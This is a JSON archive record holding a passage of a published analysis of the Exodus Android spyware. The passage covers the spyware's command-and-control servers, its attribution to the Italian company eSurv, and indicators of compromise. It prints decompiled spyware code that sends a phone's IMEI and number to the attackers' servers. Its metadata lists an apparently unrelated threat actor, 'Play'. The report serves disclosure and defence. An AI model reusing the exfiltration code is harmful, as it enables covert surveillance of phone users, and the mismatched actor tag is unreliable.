String HOST_WS_BUNDLE1 = \"B45551E5-8B53-4960-8B47-041A46D1B954\";\r\n public static final String HOST_WS_BUNDLE2 = \"6AD98532-7605-4DB0-9CE4-56816B203DBD\";\r\n public static final String HOST_WS_INIT = \"7acbff64-7a3a-4ebd-8997-4839b5937024\";\r\n public static final String KEY_STRING_B64 = \"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7k5xg4sfzLcucmXE24jsI3fJ2+4vt\r\n public static final String PLACEHOLDER_AFTER_FIRST_EXECUTION = \"5CBAECF0-6D42-430C-99AD-9493EC45C566\";\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 20 of 24\n\npublic static final String UNZIPPED_FOLDER = \"BD014144-796E-41B0-89C5-2EEC42765254\";\r\n}\r\nFirstly we can notice that, instead of generic domain names or IP addresses, these samples communicated with a Command\r\n\u0026 Control server located at attiva.exodus.esurv[.]it (\"attiva\" is the Italian for \"activate\").\r\npublic static final String HOST_IP = \"attiva.exodus.esurv.it\";\r\n(We named the spyware \"Exodus\" after this Command \u0026 Control domain name.)\r\nFollowing is the snippet of code in these older Exodus One samples showing the connection to the Command \u0026 Control:\r\nfinal byte[] encryptedBytes = StepOneCipher().doFinal((\" \" + \"#\" + imei + \"#\" + versione + \"#\" + telefono).getBytes());\r\nfinal Request request = new Request.Builder().url(\"https://attiva.exodus.esurv.it/7e661733-e332-429a-a7e2-23649f27690f/7ac\r\nBelow is the almost identical composition of the request to the Command \u0026 Control server in mike.jar (also containing\r\nthe path 7e661733-e332-429a-a7e2-23649f27690f ):\r\nif (bArr == null) {\r\n bArr = l.c().doFinal((\" \" + \"#\" + deviceId + \"#\" + str3 + \"#\" + telephonyManager.getLine1Number()).getBytes());\r\n}\r\nResponse execute = build.newCall(new Request.Builder().url(\"https://ws.my-local-weather[.]com/7e661733-e332-429a-a7e2-2364\r\nTo further corroborate the connection of the Exodus spyware with eSurv, the domain attiva.exodus.esurv.it resolves to\r\nthe IP 212.47.242.236 which, according to public passive DNS data, in 2017 was used to host the domain\r\nserver1cs.exodus.connexxa.it . Connexxa was a company also from Catanzaro. According to publicly available\r\ninformation, the founder of Connexxa seems to also be the CEO of eSurv.\r\nInterestingly, we found other DNS records mostly from 2017 that follow a similar pattern and appear to contain two-letters\r\ncodes for districts in Italy:\r\nServer City\r\nserver1bo.exodus.connexxa[.]it Bologna\r\nserver1bs.exodus.connexxa[.]it Brescia\r\nserver1cs.exodus.connexxa[.]it Cosenza\r\nserver1ct.exodus.connexxa[.]it Catania\r\nserver1fermo.exodus.connexxa[.]it\r\nserver1fi.exodus.connexxa[.]it Firenze\r\nserver1gioiat.exodus.connexxa[.]it\r\nserver1na.exodus.connexxa[.]it Napoli\r\nserver1rc.exodus.connexxa[.]it Reggio Calabria\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 21 of 24\n\nServer City\r\nserver2ct.exodus.connexxa[.]it Catania\r\nserver2cz.exodus.connexxa[.]it Catanzaro\r\nserver2fi.exodus.connexxa[.]it Firenze\r\nserver2mi.exodus.connexxa[.]it Milano\r\nserver2rc.exodus.connexxa[.]it Reggio Calabria\r\nserver3bo.exodus.connexxa[.]it Bologna\r\nserver3ct.exodus.connexxa[.]it Catania\r\nserver3.exodus.connexxa[.]it\r\nserver3fi.exodus.connexxa[.]it Firenze\r\nserver4fi.exodus.connexxa[.]it Firenze\r\nserverrt.exodus.connexxa[.]it\r\nPublic Resume Confirms Development of Android Agent\r\nAdditionally, an employee of eSurv quite precisely described their work in developing an \"agent to gather data from\r\nAndroid devices and send it to a C\u0026C server\" as well as researching \"vulnerabilities in mobile devices (mainly Android)\" in\r\na publicly available resume. Further details in it reflect characteristics of Exodus (such as the bypass of power managers we\r\ndescribed from Exodus One, and more):\r\nIndicators of Compromise\r\nExodus One\r\n011b6bcebd543d4eb227e840f04e188fb01f2335b0b81684b60e6b45388d3820\r\n0f5f1409b1ebbee4aa837d20479732e11399d37f05b47b5359dc53a4001314e5\r\n2055584625d24687bd027a63bc0b8faa7d1a854a535de74afba24840a52b1d2f\r\n26fef238028ee4b5b8da631c77bfb44ada3d5db8129c45dea5df6a51c9ea5f55\r\n33a9da16d096426c82f150e39fc4f9172677885cfeaedcff10c86414e88be802\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 22 of 24\n\n34d000ee1e36efd10eb37e2b79d69249d5a85682a61390a89a1b9391c46bf2ba\r\n4f6146956b50ae3a6e80a1c1f771dba848ba677064eb0e166df5804ac2766898\r\n5db49122d866967295874ab2c1ce23a7cde50212ff044bbea1da9b49bb9bc149\r\n70e2eea5609c6954c61f2e5e0a3aea832d0643df93d18d7d78b6f9444dcceef0\r\n80810a8ec9624f317f832ac2e212dba033212258285344661e5da11b0d9f0b62\r\n8453ce501fee1ca8a321f16b09969c517f92a24b058ac5b54549eabd58bf1884\r\na37f5d2418c5f2f64d06ba28fe62edee1293a56158ddfa9f04020e316054363f\r\ndb59407f72666526fca23d31e3b4c5df86f25eff178e17221219216c6975c63f\r\ne0acbb0d7e55fb67e550a6bf5cf5c499a9960eaf5f037b785f9004585202593b\r\nExodus One Package Names\r\ncom.phonecarrier.linecheck\r\nrm.rf\r\noperatore.italia\r\nit.offertetelefonicheperte\r\nit.servizipremium\r\nassistenza.sim\r\nassistenza.linea.riattiva\r\nassistenza.linea\r\nit.promofferte\r\nExodus Two\r\n64c11fdb317d6b7c9930e639f55863df592f23f3c7c861ddd97048891a90c64b\r\na42a05bf9b412cd84ea92b166d790e8e72f1d01764f93b05ace62237fbabe40e\r\nExodus Two ELF Utilities\r\n00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4\r\n11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59\r\n13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6\r\n3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33\r\n3ee3a973c62ba5bd9eab595a7c94b7a26827c5fa5b21964d511ab58903929ec5\r\n47449a612697ad99a6fbd6e02a84e957557371151f2b034a411ebb10496648c8\r\n48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88\r\n824ad333320cbb7873dc49e61c14f749b0e0d88723635524463f2e6f56ea133a\r\nb46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7\r\nc228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658\r\ne3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\r\ne3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f\r\nCommand \u0026 Controls\r\nad1.fbsba[.]com\r\nws.my-local-weather[.]com\r\n54.71.249[.]137\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 23 of 24\n\n54.69.156[.]31\r\n162.243.172[.]208\r\nattiva.exodus.esurv[.]it\r\nSource: https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 24 of 24",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html"
	],
	"report_names": [
		"exodus.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775441529,
	"ts_updated_at": 1775826758,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3f06a2d2560f94cbbf0c1f7c76bc610145a1abe3.pdf",
		"text": "https://archive.orkl.eu/3f06a2d2560f94cbbf0c1f7c76bc610145a1abe3.txt",
		"img": "https://archive.orkl.eu/3f06a2d2560f94cbbf0c1f7c76bc610145a1abe3.jpg"
	}
}